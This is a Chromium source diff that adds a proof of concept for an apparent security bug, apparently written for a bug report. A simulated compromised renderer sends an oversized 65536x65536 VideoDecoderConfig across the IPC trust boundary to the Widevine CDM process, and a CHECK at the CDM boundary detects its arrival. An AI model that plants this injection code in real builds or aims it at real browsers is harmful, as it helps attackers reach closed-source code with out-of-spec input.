diff --git a/media/cdm/cdm_adapter.cc b/media/cdm/cdm_adapter.cc index 1543a158b9ad6..3102893691111 100644 --- a/media/cdm/cdm_adapter.cc +++ b/media/cdm/cdm_adapter.cc @@ -579,6 +579,41 @@ void CdmAdapter::InitializeVideoDecoder(const VideoDecoderConfig& config, return; } + // ==================================================================== + // POC DETECTION (CDM utility process) + // ==================================================================== + // Prove that the renderer-supplied VideoDecoderConfig reached this point + // — the very last line of Chrome-controlled code before cdm_config is + // handed to the closed-source library CDM (Widevine in production). + // If config.IsValidConfig() is false here, the trait/service validation + // chain has a hole. Prior to commit 36ab3814f2c58 this state was + // unreachable: the mojom trait would have returned false during + // deserialisation and the IPC would have been dropped. + CHECK(config.IsValidConfig()) + << "\n\n" + << "================================================================\n" + << " POC TRIGGERED: out-of-spec VideoDecoderConfig reached the\n" + << " library-CDM boundary in the CDM utility process.\n" + << "================================================================\n" + << " coded_size = " << config.coded_size().ToString() << "\n" + << " width = " << config.coded_size().width() + << " (limit: " << limits::kMaxDimension << ")\n" + << " height = " << config.coded_size().height() + << " (limit: " << limits::kMaxDimension << ")\n" + << " width * height = " + << static_cast(config.coded_size().width()) * + static_cast(config.coded_size().height()) + << " (limit: " << limits::kMaxCanvas << ")\n" + << " cdm_config.coded_size = {" << cdm_config.coded_size.width + << ", " << cdm_config.coded_size.height << "}\n" + << "----------------------------------------------------------------\n" + << " Next line would be: cdm_->InitializeVideoDecoder(cdm_config)\n" + << " -> CdmWrapper -> closed-source library CDM (Widevine)\n" + << "================================================================\n"; + // ==================================================================== + // END POC DETECTION + // ==================================================================== + cdm::Status status = cdm_->InitializeVideoDecoder(cdm_config); if (status != cdm::kSuccess && status != cdm::kDeferredInitialization) { CHECK(status == cdm::kInitializationError); diff --git a/media/mojo/clients/mojo_cdm.cc b/media/mojo/clients/mojo_cdm.cc index b454815669f47..02e109f27b06b 100644 --- a/media/mojo/clients/mojo_cdm.cc +++ b/media/mojo/clients/mojo_cdm.cc @@ -25,6 +25,15 @@ #include "media/mojo/clients/mojo_decryptor.h" #include "media/mojo/common/media_type_converters.h" #include "media/mojo/mojom/decryptor.mojom.h" +// === POC headers (compromised renderer simulating malicious IPC) === +#include "media/base/media_util.h" +#include "media/base/video_color_space.h" +#include "media/base/video_decoder_config.h" +#include "media/base/video_transformation.h" +#include "media/base/encryption_scheme.h" +#include "ui/gfx/geometry/rect.h" +#include "ui/gfx/geometry/size.h" +// === END POC headers === #include "services/service_manager/public/cpp/connect.h" #include "services/service_manager/public/mojom/interface_provider.mojom.h" @@ -81,6 +90,61 @@ MojoCdm::MojoCdm(mojo::Remote remote_cdm, remote_cdm_->SetClient(client_receiver_.BindNewEndpointAndPassRemote()); + // ==================================================================== + // POC INJECTION (renderer process, simulating compromised renderer) + // ==================================================================== + // We hold a direct PendingRemote to the CDM utility + // process. Prior to commit 36ab3814f2c58, the mojom trait for + // VideoDecoderConfig enforced IsValidConfig() (width/height <= 32767, + // area <= 2^29-1). That check was removed from the trait and added ONLY + // to MojoVideoDecoderService — NOT to MojoDecryptorService. Demonstrate + // that a config with coded_size={65536,65536} now crosses the renderer + // -> CDM-utility-process trust boundary unchecked and reaches the + // closed-source library CDM via CdmAdapter. + // + // Per the validation notes: InitializeVideoDecoder does NOT check the + // has_initialize_been_called_ flag, so we don't even need to set up + // data pipes — we can attack immediately. + if (decryptor_remote_.is_valid()) { + // Static to keep the Remote alive until the receiver crashes. + static mojo::Remote* poc_remote = + new mojo::Remote(); + poc_remote->Bind(std::move(decryptor_remote_)); + + // 65536 > kMaxDimension (32767). 65536*65536 = 2^32, overflows int32. + // The gfx::Size mojom trait accepts any non-negative int32. + constexpr int kEvilDim = 65536; + + VideoDecoderConfig evil( + VideoCodec::kVP9, // maps to cdm::kCodecVp9 + VP9PROFILE_PROFILE0, + VideoDecoderConfig::AlphaMode::kIsOpaque, // alpha rejected at cdm_adapter.cc:564 + VideoColorSpace::REC709(), + kNoTransformation, + gfx::Size(kEvilDim, kEvilDim), // coded_size — the payload + gfx::Rect(0, 0, kEvilDim, kEvilDim), // visible_rect + gfx::Size(kEvilDim, kEvilDim), // natural_size + EmptyExtraData(), + EncryptionScheme::kCenc); + + LOG(ERROR) << "[POC RENDERER] Sending mojom::Decryptor.InitializeVideoDecoder" + << " coded_size=" << evil.coded_size().ToString() + << " IsValidConfig()=" << (evil.IsValidConfig() ? "true" : "false") + << " (this would have been rejected by the trait before commit 36ab3814f2c58)"; + + (*poc_remote)->InitializeVideoDecoder( + evil, base::BindOnce([](bool ok) { + LOG(ERROR) << "[POC RENDERER] reply: success=" << ok + << " (unreachable — CDM process should have CHECK-crashed)"; + })); + } else { + LOG(ERROR) << "[POC RENDERER] decryptor_remote_ is invalid — CDM does not" + << " expose a Decryptor (not a library CDM?)"; + } + // ==================================================================== + // END POC INJECTION + // ==================================================================== + // Report a false event here as a baseline. RecordConnectionError(false);